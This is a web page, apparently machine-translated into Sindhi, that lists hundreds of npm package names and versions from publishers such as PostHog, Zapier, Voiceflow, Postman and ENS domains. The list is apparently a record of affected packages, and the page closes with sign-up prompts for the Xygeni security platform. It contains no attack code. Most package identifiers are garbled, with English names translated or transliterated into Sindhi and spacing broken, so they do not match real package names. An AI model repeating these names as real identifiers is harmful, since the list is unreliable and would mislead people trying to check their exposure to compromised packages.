@ensdomains/آف چين-حل ڪندڙ-معاهدا0.2.2
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/react-ens-پتو0.0.32
@ensdomains/تجديد0.0.13
@ensdomains/تجديد-ويجيٽ0.1.10
@ensdomains/ريورس-ريڪارڊز1.0.1
@ensdomains/سرور-اينالائيٽڪس0.0.2
@اين ايس ڊومينز/سولشا10.0.4
@ensdomains/سب ڊومين-رجسٽرار0.2.4
@ensdomains/ٽيسٽ-يوٽيلز1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/يونيڪوڊ-ڪنفيوزبلز0.1.1
@ensdomains/unruggable-گيٽ ويز0.0.3
@ensdomains/vite-plugin-i18 ايندڙ-لوڊر4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-چارٽس2.0.1، 2.0.2
@everreal/validate-esmoduleinterop-imports1.4.4، 1.4.5
@everreal/ويب اينالائيٽڪس0.0.1، 0.0.2
@faq-ڪمپوننٽ/ڪور0.0.4
@faq-ڪمپوننٽ/رد عمل1.0.1
@fishingbooker/برائوزر-سنڪ-پلگ ان1.0.5
@fishingbooker/react-loader1.0.7
@fishingbooker/react-صفحو2.0.6
@فشنگ بُڪر/ري ايڪٽ ريٽي2.0.1
@فشنگ بُڪر/ري ايڪٽ-سوائپر0.1.5
@hapheus/n8n-nodes-pgp1.5.1
@ هور ڊيزائن/ڪور0.0.1
@ هور ڊيزائن / رد عمل0.2.1
@ifelsedeveloper/پروٽوڪول-معاهدي-svm-idl0.1.2
@ifings/ڊيزائن-سسٽم4.9.2
@ifings/ميٽاٽرون30.1.5
@ڪي وي ٽيڪ/ڪلائي0.0.7
@kvytech/اجزا0.0.2
@kvytech/habbit-e2e-ٽيسٽ0.0.2
@kvytech/medusa-plugin-اعلان0.0.8
@kvytech/medusa-پلگ ان-انتظام0.0.5
@kvytech/medusa-plugin-نيوز ليٽر0.0.5
@kvytech/medusa-plugin-پراڊڪٽ-جائزو0.0.9
@kvytech/medusa-پلگ ان-پروموشن0.0.2
@ڪي وي ٽيڪ/ويب0.0.2
@lessondesk/api-ڪلائنٽ9.12.3، 9.12.2
@lessondesk/babel-پري سيٽ1.0.1
@lessondesk/اليڪٽران-گروپ-api-ڪلائنٽ1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/مٽيريل-آئڪنز1.0.3
@lessondesk/react-table-context2.0.4
@ليسن ڊيسڪ/اسڪول بس5.2.2، 5.2.3
@livecms/لائيو ايڊٽ0.0.32
@livecms/nuxt-لائيو-ايڊٽ1.9.2
@لوئسل 2/ڪور1.0.1
@لوئسل 2/ڪارٽيڪس-جي ايس0.1.6
@lpdjs/فائر اسٽور-ريپو-سروس1.0.1
@markvivanco/ايپ-ورزن-چيڪر1.0.2، 1.0.1
@ntnx/پاسپورٽ-wso20.0.3
@ntnx/t0.0.101
@orbitgtbelgium/ميپ باڪس-gl-ڊرا-ڪٽ-پوليگون-موڊ2.0.5
@orbitgtbelgium/ميپ باڪس-gl-ڊرا-اسڪيل-روٽيٽ-موڊ1.1.1
@orbitgtbelgium/مدار-اجزا1.2.9
@orbitgtbelgium/ٽائيم سلائڊر1.0.187
@عثمانڪرم/بي ايم اي ڊي1.0.6
@osmanekrem/غلطي سنڀاليندڙ1.2.2
@پوسٽ هاگ/ايجنٽ1.24.1
@پوسٽ هاگ/اي آءِ7.1.2
@پوسٽ هاگ/ڪلائي0.5.15
@پوسٽ هاگ/ڪلڪ هائوس1.7.1
@پوسٽ هاگ/ڪور1.5.6
@پوسٽ هاگ/هيج هاگ موڊ0.0.42
@پوسٽ هاگ/آئڪن0.36.1
@پوسٽ هاگ/ليمون-يو آءِ0.0.1
@posthog/nextjs-config1.5.1
@پوسٽ هاگ/نڪسٽ1.2.9
@پوسٽ هاگ/پِسڪينا3.2.1
@پوسٽ هاگ/پلگ ان-ڪنٽريب0.0.6
@پوسٽ هاگ/ري ايڪٽ-آر آر ويب پليئر1.1.4
@پوسٽ هاگ/آرڊم0.0.31
@پوسٽ هاگ/آر آر ويب0.0.31
@پوسٽ هاگ/آر آر ويب پليئر0.0.31
@پوسٽ هاگ/آر آر ويب-ريڪارڊ0.0.31
@پوسٽ هاگ/آر آر ويب-ري پلي0.0.19
@پوسٽ هاگ/آر آر ويب-سنيپ شاٽ0.0.31
@پوسٽ هاگ/آر آر ويب-يوٽيلز0.0.31
@پوسٽ هاگ/سيفاش1.1.2
@پوسٽ هاگ/جادوگر1.18.1
@پوسٽ مين/ايٿر-آئڪن2.23.4، 2.23.3، 2.23.2
@پوسٽمين/سي ايس وي-پارس4.0.5، 4.0.3، 4.0.4
@پوسٽ مين/نوڊ-ڪيٽار7.9.6، 7.9.4، 7.9.5
@پوسٽ مين/سرنگ-ايجنٽ0.6.7، 0.6.6، 0.6.5
@pradhumngautham/عام ايپ1.0.2
@pruthvi21/استعمال-ڊيبائونس1.0.3
@quick-start-soft/quick-document-translator1.4.2511142126
@quick-start-soft/quick-git-clean-markdown1.4.2511142126
@quick-start-soft/quick-markdown1.4.2511142126
@quick-start-soft/quick-markdown-compose1.4.2506300029
@quick-start-soft/quick-markdown-تصوير1.4.2511142126
@quick-start-soft/quick-markdown-print1.4.2511142126
@quick-start-soft/quick-markdown-مترجم1.4.2509202331
@quick-start-soft/quick-remove-image-background1.4.2511142126
@جلدي-شروع-نرم/جلدي-ڪم-ريفائن1.4.2511142126
@relyt/ڪلاؤڊ-ڪنٽيڪسٽ-ڪور0.1.1
@seezo/sdr-mcp-سرور0.0.5
@سيونگ-جو/اڳيون0.0.2
@seung-ju/openapi-جنريٽر0.0.4
@سيونگ-جو/رد عمل-hooks0.0.2
@seung-ju/react-native-action-sheet0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/react-native-date-time-picker2.0.4
@strapbuild/react-native-perspective-image-cropper0.4.15
@strapbuild/react-native-perspective-image-cropper-20.4.7
@strapbuild/react-native-perspective-image-cropper-poojan310.4.6
@suraj_h/ميڊيم-عام1.0.5
@thedelta/eslint-config1.0.2
@tiaanduplessis/json2.0.3، 2.0.2
@tiaanduplessis/react-progressbar1.0.2، 1.0.1
@ٽري فاڪس/سليڪساپ-جي ايس0.1.6
@ٽريگو/ايٽرڪس7.0.1
@ٽريگو/ايٽرڪس-ايلاسٽڪ سرچ2.0.1
@ٽريگو/ايٽرڪس-پوسٽ گريس1.0.3
@ٽريگو/ايٽرڪس-پبسب4.0.3
@ٽريگو/ايٽرڪس-صابڻ1.0.2
@ٽريگو/ايٽرڪس-سويگر3.0.1
@ٽريگو/بول-اظهار4.1.3
@ٽريگو/ايس لنٽ-ڪنفيگ-ٽريگو3.3.1
@ٽريگو/ايف ايس ايم3.4.2
@ٽريگو/هپي-آٿ-سائن ٿيل لنڪ1.3.1
@ٽريگو/پاٿ فائنڊر-يو آءِ-سي ايس ايس0.1.1
@ٽريگو/ٽريگو-هيپيجز5.0.1
@trpc-ريٽ-ليميٽر/ڪلائوڊ فليئر0.1.4
@trpc-ريٽ-ليميٽر/هونو0.1.4
@varsityvibe/api-ڪلائنٽ1.3.36، 1.3.37
@varsityvibe/utils5.0.6
@varsityvibe/تصديق-اسڪيما0.6.7، 0.6.8
@vishadtyagi/مڪمل-سال-ڪلينڊر0.1.11
@وائس فلو/اليڪسا-قسم2.15.60، 2.15.61
@وائس فلو/اينٿروپڪ0.4.4، 0.4.5
@وائس فلو/api-sdk3.28.58، 3.28.59
@وائس فلو/بئڪ اينڊ-يوٽيلز5.0.2، 5.0.1
@وائس فلو/بيس ٽائپس2.136.3، 2.136.2
@وائس فلو/باڊي-پارسر1.21.2، 1.21.3
@وائس فلو/چيٽ ٽائپس2.14.59، 2.14.58
@وائس فلو/سرڪلسي-ڪنفيگ-ايس ڊي ڪي-اورب-امپورٽ0.2.1، 0.2.2
@وائس فلو/commitلِنٽ-ڪنفيگ2.6.2، 2.6.1
@وائس فلو/عام8.9.1، 8.9.2
@وائس فلو/ڊفالٽ-پرامپٽ-ريپرز1.7.4، 1.7.3
@وائس فلو/انحصاري-ڪروزر-ڪنفيگ1.8.12، 1.8.11
@وائس فلو/ڊي ٽي او ايس-انٽريڪٽ1.40.2، 1.40.1
@وائس فلو/انڪرپشن0.3.3، 0.3.2
@وائس فلو/ايس لنٽ-ڪنفيگ7.16.4، 7.16.5
@وائس فلو/ايس لنٽ-پلگ ان1.6.2، 1.6.1
@وائس فلو/استثنا1.10.2، 1.10.1
@وائس فلو/آڻڻ1.11.1، 1.11.2
@وائس فلو/جنرل-ٽائپس3.2.23، 3.2.22
@وائس فلو/گٽ-برانچ-چيڪ1.4.4، 1.4.3
@وائس فلو/گوگل-ڊي ايف اي ايس-ٽائپس2.17.12، 2.17.13
@وائس فلو/گوگل ٽائپس2.21.12، 2.21.13
@وائس فلو/هسڪي-ڪنفيگ1.3.1، 1.3.2
@وائس فلو/لاگر2.4.3، 2.4.2
@وائس فلو/ميٽرڪس1.5.2، 1.5.1
@وائس فلو/قدرتي-ٻولي-ڪمانڊر0.5.2، 0.5.3
@وائس فلو/نيسٽ جي ايس-ڪمن2.75.2، 2.75.3
@وائس فلو/نيسٽ جي ايس-مونگو ڊي بي1.3.1، 1.3.2
@وائس فلو/نيسٽ جي ايس-ريٽ-حد1.3.3، 1.3.2
@وائس فلو/نيسٽ جي ايس-ريڊس1.3.1، 1.3.2
@وائس فلو/نيسٽ جي ايس-ٽائم آئوٽ1.3.1، 1.3.2
@voiceflow/npm-package-json-lint-config1.1.1، 1.1.2
@وائس فلو/اوپنائي3.2.2، 3.2.3
@وائس فلو/پينو6.11.4، 6.11.3
@وائس فلو/پينو-پريٽي4.4.2، 4.4.1
@وائس فلو/پريٽيئر-ڪنفيگ1.10.2، 1.10.1
@وائس فلو/ري ايڪٽ چيٽ1.65.4، 1.65.3
@وائس فلو/رن ٽائم1.29.1، 1.29.2
@وائس فلو/رن ٽائم-ڪلائنٽ-جي ايس1.17.3، 1.17.2
@وائس فلو/ايس ڊي ڪي-رن ٽائم1.43.2، 1.43.1
@وائس فلو/راز فراهم ڪندڙ1.9.3، 1.9.2
@وائس فلو/سيمينٽڪ-رليز-ڪنفيگ1.4.2، 1.4.1
@وائس فلو/سرور ليس-پلگ ان-ٽائپ اسڪرپٽ2.1.7، 2.1.8
@وائس فلو/سليٽ-سيريلائيزر1.7.4، 1.7.3
@وائس فلو/ٽانڪا-رد عمل2.3.3، 2.3.2
@وائس فلو/اسٽوري بڪ-ڪنفيگ1.2.2، 1.2.3
@وائس فلو/اسٽائل لِنٽ-ڪنفيگ1.1.1، 1.1.2
@وائس فلو/ٽيسٽ-ڪمن2.1.1، 2.1.2
@وائس فلو/ٽسڪنفگ1.12.2، 1.12.1
@وائس فلو/tsconfig-پاٿس1.1.5، 1.1.4
@وائس فلو/يوٽيلز-ڊيزائنر1.74.19، 1.74.20
@وائس فلو/ويرور1.1.5، 1.1.4
@وائس فلو/وائيٽ-ڪنفيگ2.6.2، 2.6.3
@وائس فلو/ويٽيسٽ-ڪنفيگ1.10.3، 1.10.2
@وائس فلو/وائس ٽائپس2.10.59، 2.10.58
@وائس فلو/وائس فلو-قسم3.32.45، 3.32.46
@وائس فلو/ويجيٽ1.7.18، 1.7.19
@زپيئر/اي-ايڪشنز0.1.20، 0.1.19، 0.1.18
@زپيئر/بيبل-پري سيٽ-زپيئر6.4.2، 6.4.1، 6.4.3
@ زپيئر/برائوزر لسٽ-ڪنفيگ- زپيئر1.0.4، 1.0.3، 1.0.5
@زپيئر/سيڪريٽ-اسڪربر1.1.5، 1.1.4، 1.1.3
اي آءِ-ڪرول-شيلڊ1.0.7
آرڪ-ڪلائي-ايف سي1.0.1
غير مطابقت پذير- پيش منظر1.0.2، 1.0.1
ايٽرڪس1.0.1
آٽوميشن_ماڊل1.0.491
ايڪسيوس-بلڊر1.2.1
ايڪسيوس-منسوخ ڪرڻ وارو1.0.2، 1.0.1
محوري وقت وارو1.0.2، 1.0.1
بيئر بونز-سي ايس ايس1.1.4، 1.1.3
بينموسٽين-فريم-پرنٽ1.0.1
بهترينجي پي آءِ اوڪنٽرولر1.0.10
ٻہ طرفي-اڊاپٽر1.2.2، 1.2.4، 1.2.5، 1.2.3
بلينڪيو-ايگزيڪيوشن-ڪلائي1.0.41
بلاب کان بيس 64 تائين1.0.3
بن-پلگ ان-httpفائل0.1.1
بائيٽ ڪوڊ-چيڪر-ڪلائي1.0.11، 1.0.8، 1.0.9، 1.0.10
بائيٽس کان ايڪس تائين1.0.1
قرض جي سود جي حساب سان1.0.4
ڪيپيسيٽر-پلگ ان-ايپ ٽريڪنگ0.0.21
ڪيپيسيٽر-پلگ ان-خريد0.1.1
ڪيپيسيٽر-پلگ ان-اسڪيگس سائن ان ويد گوگل0.0.5
ڪيپيسيٽر-خريد-تاريخ0.0.10
ڪيپيسيٽر-وائس-ريڪارڊر-ويو6.0.3
ڪروم ايڪسٽينشن ڊائون لوڊ0.0.3، 0.0.4
ڪلاڊ-ٽوڪن-اپڊيٽر1.0.3
ڪوئن مارڪيٽ ڪيپ-api3.1.3، 3.1.2
رنگ-ريجيڪس2.0.1
ڪمانڊ-آئريل0.5.4
مقابلو-عنوان1.1.1، 1.1.2
ڪمپوزٽ ريڊيسر1.0.4، 1.0.3، 1.0.2، 1.0.5
ڳڻپ ڪريو1.0.2، 1.0.1
سي پي يو هدايتون0.0.14
ڊائريڪٽر ايپ ٺاهيو0.1.1
گلي ايپ ٺاهيو0.2.3، 0.2.2
هارڊ هٽ 3 ايپ ٺاهيو1.1.4، 1.1.3، 1.1.1، 1.1.2
ڪرپٽو-ايڊڊر-ڪوڊيڪ0.1.9
سي ايس ايس-ڊيڊوپ0.1.2
dashboardخالي حالت1.0.3
ڊيزائن اسٽوڊيويوڪس1.0.1
ڊيوسٽارٽ-ڪلائي1.0.6
ڊائلاگ فلو-ايس1.1.4، 1.1.3، 1.1.1، 1.1.2
ڊسڪارڊ-بوٽ-سرور0.1.2
دستاويزي-پلگ ان-وينلا-اڪسٽريڪٽ1.0.3
نه وڃ1.1.2
ڊاٽ نيٽ ٽيمپليٽ0.0.3، 0.0.4
ڊراپ-ايونٽس-آن-پراپرٽي-پلگ ان0.0.2
اي ميل پهچائڻ جي صلاحيت ٽيسٽ ڪندڙ1.1.1
برانچ جو نالو لاڳو ڪريو1.1.3
ايس بلڊ-پلگ ان-بروٽلي0.2.1
ايس بلڊ-پلگ ان-ايٽا0.1.1
esbuild-plugin-httpfile0.4.1
ايسلنٽ-ڪنفيگ-نٽ پڪي4.0.1
ايسلنٽ-ڪنفيگ-ٽريگو22.0.2
ايسلنٽ-ڪنفيگ-زيالٽ-بيس1.0.4
ايٿيريم-اينز0.8.1
اي وي ايم-چيڪ ڪوڊ-ڪلائي1.0.15، 1.0.12، 1.0.13، 1.0.14
صحيح ٽِڪر0.3.5
ايڪسپو-آڊيو-سيشن0.2.1
ايڪسپريس1.1.3
ٿلهي آڱرين وارو1.0.2، 1.0.1
فيچر فلپ1.0.2، 1.0.1
فائر اسٽور سرچ انجن1.2.3
فٽ ٽيڪسٽ1.0.3، 1.0.2
فليپ اسٽيڪس1.0.2، 1.0.1
هموار ڪرڻ- اڻ چٽو ڪرڻ1.0.2، 1.0.1
فارمڪ-غلطي-فوڪس2.0.1
فارمڪ اسٽور1.0.1
فزي فائنڊر1.0.5، 1.0.6
گيٽ-اي وي ايم-چيڪ-ڪوڊ22.0.3، 2.0.4، 2.0.5، 2.0.6
گيٽ-اي وي ايم-ٽولز-ٽيسٽ1.0.7، 1.0.8، 1.0.5، 1.0.6
گيٽسبي-پلگ ان-سي اينيم1.0.2، 1.0.1
جنريٽر-ميٽيور-اسٽاڪ0.1.6
جنريٽر-اين جي-آئٽوبوز0.0.15
انهن کي دليل ڏيو1.3.3
گيٽ هب-ايڪشن-فار-جنريٽر2.1.28، 2.1.27
گِٽساف1.0.5
گو-ٽيمپليٽ0.1.8، 0.1.9
گلپ-انجيڪشن-اين وي ايس1.2.2، 1.2.1
هاف-ايڪسيرا-ايپي-ڪلائنٽ0.0.1، 0.0.2
اميد-نقشو باڪس ڊرا0.1.1
اميد جو نقشو1.0.3
هور ڊيزائن پروٽوٽائپ0.0.5
httpness1.0.3، 1.0.2
هائپر-فل فيڪنگ1.0.3
هائپرٽرم-هپسٽر1.0.7
آئي ڊي ايس-سي ايس ايس1.5.1
سڃاڻپ-enterprise-ايم سي پي سرور0.0.2
سڃاڻپ-enterprise-ng20.1.6
سڃاڻپ-enterprise-ٽائپنگ20.1.6
تصوير-کان-يوري1.0.2، 1.0.1
بي خوابي-پلگ ان-بي ترتيب-پڪ1.0.4
انو0.2.2
آئرن شيلڊ مني ايپ0.0.2
آئيٽو بٽڻ8.0.3
اِٽوبُز-ڪوئيل0.0.1
اِٽوبُز-اينگولر-آٿ8.0.11
اِٽوبُز-اينگولر-بٽن8.0.11
جيڪب زوما1.0.2، 1.0.1
jaetut-varit-ٽيسٽ1.0.2
جان برائوزر0.13.1
jquery-بائنڊنگس1.1.3، 1.1.2
جيسن سرج1.0.7
صرف مزيدار1.7.1
ڪِل پورٽ2.0.3، 2.0.2
ڪوريا-انتظامي-علائقو-جيو-جيسن-استعمال1.0.7
ڪوامي1.5.9، 1.5.10
ٻولي ڪوڊ1.0.2، 1.0.1
لائسنس-او-ميٽڪ1.2.2، 1.2.1
لِنٽ-اسٽيجڊ-تصوير-من1.3.1، 1.3.2
لائيٽ-سرپر-ايم سي پي-سرور0.2.2
لونو-اي پي آءِ1.2.3
مينوئل-بلنگ-سسٽم-مني ايپ-api1.3.1
ميڊوسا-پلگ ان-اعلان0.0.3
ميڊوسا-پلگ ان-لاگ0.0.17
ميڊوسا-پلگ ان-مومو0.0.68
ميڊوسا-پلگ ان-پراڊڪٽ-جائزو-ڪي وي آءِ0.0.4
ميڊوسا-پلگ ان-زالوپي0.0.40
mod10-چيڪ-ڊجيٽ1.0.1
مون-پيڪيج-رد عمل-ٽائپ اسڪرپٽ1.0.1
منهنجي سعيد-لب0.1.1
n8n-نوڊس-tmdb0.5.1
n8n-نوڊز-ورسل-اي-ايس ڊي ڪي0.1.7
n8n-نوڊس-وائرل-ايپ0.2.5
نانو ري سيٽ7.0.2، 7.0.1
ايندڙ-سرڪيولر-انحصاري1.0.3، 1.0.2
ايندڙ-سادو-گوگل-تجزياتي1.1.1، 1.1.2
ايندڙ-اسٽائل-پيش رفت1.0.4، 1.0.5
اين جي ايڪس-مفيد-سوائپر-پروسينجٽ9.0.2
اين جي ايڪس-وُواپي12.0.1
نارمل اسٽور1.3.1، 1.3.4، 1.3.3، 1.3.2
اعتراض کان سي ايس ايس1.0.3، 1.0.2
اوڪٽا-ري ايڪٽ-روٽر-65.0.1
اوپن 2 انٽرنيٽ0.1.1
مدار-باڪس آئڪن2.1.3
مدار-نيبولا-ڊرا-اوزار1.0.10
مدار-نيبولا-ايڊيٽر1.0.2
مدار صابڻ0.43.13
آرڪيسٽرڪس12.1.2
پيڪيج ٽيسٽر1.0.1
پارسل-پلگ ان-اثاثو-ڪاپي ڪندڙ1.1.3، 1.1.2
پي ڊي ايف-تشريح0.0.2
پڪلائيٽ1.0.1
پڪو-يو آءِ ڊي1.0.4، 1.0.3
پي ڪي جي-ريڊمي1.1.1
پوپر-ري ايڪٽ-ايس ڊي ڪي0.1.2
پوسٽ هاگ-ڊاڪوسورس2.0.6
پوسٽ هاگ-جي ايس1.297.3
پوسٽ هاگ نوڊ4.18.1، 5.13.3، 5.11.3
پوسٽ هاگ-پلگ ان-هيلو-ورلڊ1.0.1
پوسٽ هاگ-ري ايڪٽ-نيٽو4.11.1، 4.12.5
پوسٽ هاگ-ري ايڪٽ-نيٽو-سيشن-ري پلي1.2.2
پرائم-ون-ٽيبل0.0.19
پرامپٽ-انجينئرنگ1.0.50
گھٽ ضرورت وارو1.0.3
را-آٿ-فائر بيس1.0.3
را-ڊيٽا-فائر بيس1.0.8، 1.0.7
رد عمل-ڪمپوننٽ-ٽيگرز0.1.9
ڊيٽا کي برآمد ڪرڻ لاءِ رد عمل ڏيو1.0.1
رد عمل عنصر پرامپٽ انسپيڪٽر0.1.18
رد عمل پسند ڪندڙ1.0.2
رد عمل-هڪ-فارم-پريسٽ3.0.2، 3.0.1
رد عمل جام آئڪن1.0.2، 1.0.1
رد عمل-ڪي-ڪنڊو-حوالو1.0.8، 1.0.9
ري ايڪٽ لائبريري سيٽ اپ0.0.6
رد عمل-لينئر-لوڊر1.0.2
رد عمل-مائڪرو موڊل.جي ايس1.0.2، 1.0.1
رد عمل-مقامي-ڊيٽ پيڪر-ماڊل1.3.1، 1.3.2
رد عمل-مقامي-اي ميل2.1.1، 2.1.2
رد عمل-مقامي-آڻڻ2.0.1، 2.0.2
رد عمل-مقامي-حاصل-پڪسل-طول و عرض1.0.2، 1.0.1
گوگل نقشن جي هدايتن تي رد عمل ڏيو2.1.2
رد عمل-مقامي-جام-آئڪن1.0.2، 1.0.1
رد عمل-مقامي-لاگ-سطح1.2.2، 1.2.1
رد عمل-مقامي-معمولي-چيڪ باڪس3.3.1
رد عمل-مقامي-معمولي-ذخيرو2.1.1
مقامي فون ڪال تي رد عمل ڏيو1.2.2، 1.2.1
رد عمل-اصلي-ٻيهر-حاصل ڪرڻ-2.0.1، 2.0.2
رد عمل-مقامي-استعمال-ماڊل1.0.3
ري ايڪٽ-نيٽو-ويو-فائنڊر1.2.2، 1.2.1
ري ايڪٽ-نيٽو-ويب ساکٽ1.0.4، 1.0.3
رد عمل-مقامي-ورڪليٽ-فنڪشن3.3.3
رد عمل-qr-تصوير1.1.1
ريڊف1.0.5
ريڊف-ويور0.0.7
ريڊڪس-روٽر-ڪٽ1.2.2، 1.2.4، 1.2.3
رول اپ-پلگ ان-httpفائل0.2.1
ڪمپني رجسٽريشن نمبر ريجيڪس1.0.2، 1.0.1
سا-آئڊ-جن1.0.4، 1.0.5
ساڳيو1.0.3
scgs-ڪيپيسيٽر-سبسڪرائب ڪريو1.0.11
scgsffcreator - [اسڪگ ايس ايف ڪريٽر]1.0.5
سيٽ-نيسٽڊ-پروپ2.0.1، 2.0.2
شيلف-jwt-سيشنز0.1.2
شيل-ايگزيڪ1.1.4، 1.1.3
شينهان-حد-اسڪريپ1.0.3
مهارتن جو استعمال0.1.2، 0.1.1
سولومن-ايپي-ڪهاڻيون1.0.2
سولومون-v3-ڪهاڻيون1.15.6
سولومون-v3-ui-ريپر1.6.1
فاصلي جي لحاظ کان ترتيب ڏيو2.0.1
ڏکڻ آفريقي سڃاڻپ جي ڄاڻ1.0.2
اسٽيٽ-ايف اين ايس1.0.1
اسٽور2.3.2
وڏو-commit1.0.1
svelte-autocomplete-select1.1.1
مٺو-ٽوسٽي1.1.3، 1.1.2
ٽين اسٽيڪ-شڊڪن-ٽيبل1.1.5
ٽي سي ايس پي2.0.2
ٽي سي ايس پي-ڊرا-ٽيسٽ1.0.5
ٽي سي ايس پي-ٽيسٽ-وي ڊي2.4.4
ٽيمپليٽ-لِب1.1.4، 1.1.3
ٽيمپليٽ-مائڪرو-سروس1.0.3، 1.0.2
مضبوط-حاصل ڪرڻ2.3.3، 2.3.2
ٽيسٽ-فائونڊري-ايپ1.0.4، 1.0.3، 1.0.2، 1.0.1
ٽيسٽ-هارڊ هيٽ-ايپ1.0.4، 1.0.3، 1.0.2، 1.0.1
ٽيسٽ 23112222-اي پي آءِ1.0.1
تيان1.0.2
ٽوڪن.جي ايس-فورڪ0.7.32
ٽرائيگو-ري ايڪٽ-ايپ4.1.2
ٽائيپ فينس1.2.2، 1.2.3
ٽائپفارم-مرڪب0.2.27
غير محفوظ ٽائيپ ٿيل1.0.4، 1.0.3
اپلينڊوئي0.5.4
پلي اسٽور تي اپلوڊ ڪريو1.0.2، 1.0.1
يو آر ايل-انڪوڊ-ڊيڪوڊ1.0.2، 1.0.1
استعمال-غير محفوظ ٿيل-تبديليون1.0.9
صحيح-ڏکڻ-آفريقي-شناخت1.0.3
وي ايف-او ايس ايس-ٽيمپليٽ1.0.4، 1.0.3، 1.0.2، 1.0.1
وائيٽ-پلگ ان-httpفائل0.2.1
وييو-برائوزر اپڊيٽ-نڪسٽ1.0.5
ويب-اسڪريپر-ايم سي پي1.1.4
ويب-قسم-htmx0.1.1
ويب-قسم-روشن0.1.1
ويب پيڪ-لوڊر-httpفائل0.2.1
صحت جي ماهر گيلري5.1.1
وينڪ1.0.9، 1.0.10
زپيئر-اسنڪ-اسٽوريج1.0.3، 1.0.2، 1.0.1
زپيئر-پليٽ فارم-ڪلائي18.0.4، 18.0.3، 18.0.2
زپيئر-پليٽ فارم-ڪور18.0.4، 18.0.3، 18.0.2
زپيئر-پليٽ فارم-اسڪيما18.0.4، 18.0.3، 18.0.2
زپيئر-اسڪرپٽ7.8.3، 7.8.4
زوپر-ڪلائي1.0.1
زپر-ايس ڊي ڪي1.0.57
زپر-وهڪرو2.0.9
مفت زائيگيني پليٽ فارم شروع ڪريو
اسڪا-ٽولز-سافٽ ويئر-ڪمپوزيشن-تجزيو-ٽولز
پنهنجي سافٽ ويئر خطرن کي ترجيح ڏيو، درست ڪريو، ۽ محفوظ ڪريو
پنهنجو مفت اڪائونٽ حاصل ڪريو.
ڪنهن به ڪريڊٽ ڪارڊ جي ضرورت نه آهي.
سائن اپ ڪريو مفت

پنهنجي سافٽ ويئر ڊولپمينٽ ۽ ترسيل کي محفوظ بڻايو

زائيگيني پراڊڪٽ سوٽ سان
مفت شروع ڪريو
پراڊڪٽ جو دورو ڪريو